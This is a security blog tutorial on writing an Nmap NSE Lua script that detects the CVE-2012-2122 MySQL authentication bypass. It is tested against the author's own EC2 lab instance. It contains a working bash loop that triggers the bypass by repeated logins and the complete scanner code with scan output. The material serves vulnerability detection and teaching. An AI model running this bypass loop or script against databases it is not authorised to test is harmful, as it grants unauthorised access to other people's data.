Nmap NSE Howto: MySQL Auth Bypass

A recently disclosed critical vulnerability in MySQL authentication on some platforms gave me just the excuse I needed to write my first Nmap NSE script. @jcran produced a metasploit module to find and exploit the MySQL bug so I thought I'd try and fill a gap in the Nmap world.

First thing I needed was a vulnerable host to scan. I didn't have anything in my VM collection already so I took advantage of some Free Tier Amazon EC2 time and fired up a 64-bit Ubuntu 12.04 AMI. Specifically I fired up a micro instance of ami-e1e8d395 which is the suggested Ubuntu image on the wizard screen. I left everything as default and once it was running ssh'ed in.

MySQL isn't installed by default on this image so I had to install it. Installing it is as simple as:

sudo apt-get install myql-server

I specifically didn't run an apt-get update on this server before I installed MySQL just in case I ended up with a patched version. The version I've got is 5.5.22-0ubuntu, anything later and it's probably fixed. I quickly verified it was vulnerable before proceeding:

ubuntu@ip-10-227-118-34:~$ for i in `seq 1 1000`; do mysql -u root --password=cve-2012-2122 -h 127.0.0.1 2>/dev/null; done
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 424
Server version: 5.5.22-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

The first time you see this work you realise just how scary this bug is. I also can't help but wonder how long bad people have known about it.

With a confirmed vulnerable installation I set about configuring it for remote access.

Edit /etc/mysql/my.cnf, find the line which says:

bind-address            = 127.0.0.1

and change it to:

bind-address            = 0.0.0.0

and restart MySQL:

sudo /etc/init.d/mysql restart

Ignore all the Ubuntu rubbish about using Upstart, yada-yada, whatever, init wasn't broke but thanks for fixing it.

The next hurdle is that, by default, the root account is the only one and it is not authorised to connect from any host other than localhost. I don't want to develop on the EC2 instance and I also want to verify it'll work for hosts across a "proper network". To solve this I created an empty database and a user with access to it from any IP address.

mysql> create database nsetest;

mysql> grant all on nsetest.* to nse@'%' identitifed by 'dodgypass';

The % in the above is the wildcard character meaning any host. Running our bash for loop from above against the remote database this time and using the nse user verified the vulnerability existed remotely.

# for i in `seq 1 1000`; do mysql -u nse --password=cve-2012-2122 -h ec2-46-137-134-79.eu-west-1.compute.amazonaws.com 2>/dev/null; done
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 401
Server version: 5.5.22-0ubuntu1-log (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

With the testing lab ready I turned my attention to writing the NSE script. As ever, the best place to start is with something you know works. On my BT5 VM I had a look in /usr/local/share/nmap/scripts to see what there was already for MySQL.

# ls -l /usr/local/share/nmap/scripts/mysql-*
-rw-r--r-- 1 root root 6099 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-audit.nse
-rw-r--r-- 1 root root 2268 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-brute.nse
-rw-r--r-- 1 root root 2895 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-databases.nse
-rw-r--r-- 1 root root 1799 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-empty-password.nse
-rw-r--r-- 1 root root 4855 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-info.nse
-rw-r--r-- 1 root root 2687 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-users.nse
-rw-r--r-- 1 root root 3100 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-variables.nse

I decided mysql-empty-password.nse was the closest to what I was trying to do so I made a copy in my ~/Development directory and started hacking away at it. The actual process of writing a LUA script is pretty hard to describe but what I'll do now is break the script down into different sections and try and explain what is happening. As with all these sorts of things, there are standards involved (anyone who's ever coded for Metasploit will know exactly what I'm talking about).

If you want to follow along at home, the entire script is in my Github repo at https://github.com/4ARMED/nmap-nse-scripts/blob/master/mysql-auth-bypass.nse. The file starts with information about the script, its capabilities, author, output example and license:

description = [[
Checks for MySQL servers vulnerable to the authentication bypass CVE-2012-2122
posted to http://seclists.org/oss-sec/2012/q2/493
]]

---
-- @output
-- 3306/tcp open  mysql
-- | mysql-auth-bypass:
-- |_  user root is vulnerable to auth bypass


author = "Marc Wickenden"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "vulnerability"}

Of the above probably the most important thing to get right is the categories. When you are running Nmap NSE scripts you can specify to run all scripts of a certain category. If you write a script like this which exploits a bug but you put it down as 'safe' you're inviting a whole world of trouble. A full list of categories is available at http://nmap.org/nsedoc/categories/.

Next up are library imports. LUA, like most languages, allows the creation of library files in which to group common functions. I used the following:

require 'shortport'
require 'stdnse'
require 'mysql'
require 'unpwdb'

From what I can tell, you'll pretty much use shortport in every NSE script you'll ever write. It provides common functions for managing network connections.

stdnse provides various handy and common functions including those which handle printing output.

mysql provides simple MySQL functions like login and query execution.

unpwdb is a really interesting library. Nmap NSE comes with a built in 'database' of common usernames and passwords along with this set of functions to interact with it.

We then add version information as a comment. Comments in LUA are preceded with -- (double dash).

-- Version 0.1
-- Created 11/06/2012 - v0.1 - created by Marc Wickenden <marc@offensivecoder.com>, based on nse script by Patrik Karlsson

Each NSE script must contain one of the following four functions:

prerule()
hostrule(host)
portrule(host, port)
postrule()

I won't rehash the documentation too much here but we are interested in a portrule which will run after the specified nmap scan has completed. A portrule runs when you identify a port which meets a certain criteria. In our case we want an open tcp port 3306 (the MySQL default).

portrule = shortport.port_or_service(3306, "mysql")

Next we define an action function. This will be triggered by the portrule if our open port condition is met. This is where we get our hands dirty.

action = function( host, port )

  local socket = nmap.new_socket()
  local catch = function() socket:close() end
  local try = nmap.new_try(catch)
  local result = {}

First thing to comment on, indentation. LUA does not require indentation but frankly, unless you're playing code golf you'd be crazy not to indent and make the code readable. I use a two space indent because I'm that way out.

So we're defining the action function. It takes two parameters, host and port which are given to it by NSE magic. We don't need to worry too much about that in this exercise.

Next we define four local variables. LUA has global and local variable scope. Anything not defined as local is global.

socket = nmap.new_socket() returns an NSE socket object.

catch is a function we will use if we encounter any exceptions. You can call this what you like. It just closes the socket.

try uses the Nmap newtry API call. newtry sets up an exception handler and, if passed a function as above nmap.new_try(catch) it will execute that function if an exception occurs.

Lastly we define an empty LUA table called results in which to store our results later.

The next few lines are pretty self-explanatory.

  -- set a reasonable timeout value
  socket:set_timeout(5000)

  -- get our usernames to try
  local usernames = try(unpwdb.usernames())
  local password = "cve-2012-2122"

We set a socket timeout of 5000 milliseconds (that's 5 seconds y'all) in case something goes wrong with the connection.

The usernames line is important. This builds a table of usernames by calling the unpwdb.usernames() function. The unpwdb.usernames function keeps returning usernames from the in-built list (or your list if specified) until they are exhausted or timeout settings are reached.

Finally we set a password to use for all the login attempts. We set this to something we don't expect to work.

Now we enter a loop through the usernames table, for each username we try up to 300 login attempts with the same password.

  for username in usernames do
    stdnse.print_debug( "Trying %s ...", username )

    -- try up to 300 times to trigger the vuln
    for i = 0, 300, 1 do
      stdnse.print_debug(2, "attempt number %d", i )

      local status, response = socket:connect(host, port)
      if( not(status) ) then return "  \n  ERROR: Failed to connect to mysql server" end

for loops in LUA are easy: for condition do --something end. We have two above. The outer loop is iterating through the usernames table we built earlier, storing the returned value in username and then entering the loop.

stdnse.print_debug will print out the text Trying username if nmap debugging is set to 1 or more (nmap -d).

The inner for loop sets a variable i to 0, the maximum count to 300 and the step to increment as 1. Basically, it'll perform 300 (well 301 to be specific as I started at 0 - oops, off by one error) iterations of the upcoming code. As the MySQL bug is triggered on a 1 in 255 chance I figured this should be enough though I've seen elsewhere people having problems with this and ending up with numbers like 10,000 attempts.

If nmap debugging is set to 2 (nmap -d -d) then the attempt number will be printed.

local status, response = socket:connect(host, port) attempts a connection to host, port returning an error on the next line if status is not defined.

      status, response = mysql.receiveGreeting( socket )
      if ( not(status) ) then
        stdnse.print_debug(3, SCRIPT_NAME)
        socket:close()
        return response
      end

This part of the code uses the receiveGreeting function from the NSE MySQL library in order to handle the data sent back by the MySQL server. The following screenshot from Wireshark (click to enlarge) shows a decoded version of the MySQL greeting.

Pay particular attention to the salt as this is used in the next section of the code. A new salt is generated for every connection request, this is why we perform a new connection on each iteration of this loop rather than firing multiple authentication requests down a single TCP connection (yes, I learned that the hard way).

      status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
      if response.errorcode == 0 then
        table.insert(result, string.format("user %s is vulnerable to auth bypass", username ) )
        break
      end

This is the meat and potatoes now. mysql.loginRequest is a part of the mysql NSE library and sends, as its name suggests, a login request. Note the use of our username and password variables and the salt from the response. This is all put together by the loginRequest function to create a MySQL login hash which is then sent over our socket.

If the errorcode returned in the response to our login request is 0 it means we had a successful login. If that's the case we use the LUA table.insert function to append a string containing details of the successful to the result table we created earlier. If we got a successful auth we also issue a break which stops the loop.

Next we close our loops and issue a socket:close() to tidy up our connection.

      socket:close()
    end
  end

Finally we output our result table using the stdnse.format_output function which gives that pretty hierarchical view we put in the comments for @output right at the start.

  return stdnse.format_output(true, result)

end

And that's it. The script is done. By default, the nmap username database will not contain the value nse which we set up earlier as our vulnerable user so we will need to specify our own usernames file. To do this we can do the following:

echo nse > usernames.txt

Now we are all ready to run it against our vulnerable MySQL EC2 instance.

# nmap --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args="userdb=usernames.txt" ec2-46-137-134-79.eu-west-1.compute.amazonaws.com

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:58 BST
Nmap scan report for ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79)
Host is up (0.050s latency).
PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-auth-bypass:
|_  user nse is vulnerable to auth bypass

Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds

Nice. If you want a bit more verbosity then add the -v and -d (or -d -d) flags too.

# nmap -v -d --script=mysql-auth-bypass.nse -p 3306 -Pn --script-args="userdb=usernames.txt" ec2-46-137-134-79.eu-west-1.compute.amazonaws.com

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-12 14:59 BST
--------------- Timing report ---------------
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
---------------------------------------------
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
mass_rdns: Using DNS server 8.8.8.8
Initiating Parallel DNS resolution of 1 host. at 14:59
mass_rdns: 0.00s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
Completed Parallel DNS resolution of 1 host. at 14:59, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:59
Scanning ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79) [1 port]
Packet capture filter (device eth1): dst host 10.150.0.143 and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 46.137.134.79)))
Discovered open port 3306/tcp on 46.137.134.79
Completed SYN Stealth Scan at 14:59, 0.05s elapsed (1 total ports)
Overall sending rates: 18.58 packets / s, 817.43 bytes / s.
NSE: Script scanning 46.137.134.79.
NSE: Starting runlevel 1 (of 1) scan.
NSE: Starting mysql-auth-bypass against 46.137.134.79:3306.
Initiating NSE at 14:59
NSE: Trying nse ...
NSE: Finished mysql-auth-bypass against 46.137.134.79:3306.
Completed NSE at 15:00, 16.25s elapsed
Nmap scan report for ec2-46-137-134-79.eu-west-1.compute.amazonaws.com (46.137.134.79)
Host is up, received user-set (0.052s latency).
Scanned at 2012-06-12 14:59:58 BST for 16s
PORT     STATE SERVICE REASON
3306/tcp open  mysql   syn-ack
| mysql-auth-bypass:
|_  user nse is vulnerable to auth bypass
Final times for host: srtt: 51988 rttvar: 51988  to: 259940

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Read from /usr/local/bin/../share/nmap: nmap-payloads nmap-services.
Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds
           Raw packets sent: 1 (44B) | Rcvd: 1 (44B)

After all this it turned out that someone on the nmap-dev mailing list had already put together a far more comprehensive solution which ports the automatic hash dumping of @jcran's metasploit module to boot. You can see that here http://seclists.org/nmap-dev/2012/q2/679.

However, for an hour's coding - and that really is all this took - I now know how to code some basic LUA and put together an Nmap script. This has to be a good thing.

Author image

Marc Wickenden

Technical Director at 4ARMED, you can blame him for our awesome technical skills and business-led solutions. You can tweet him at @marcwickenden.

Related Blog Articles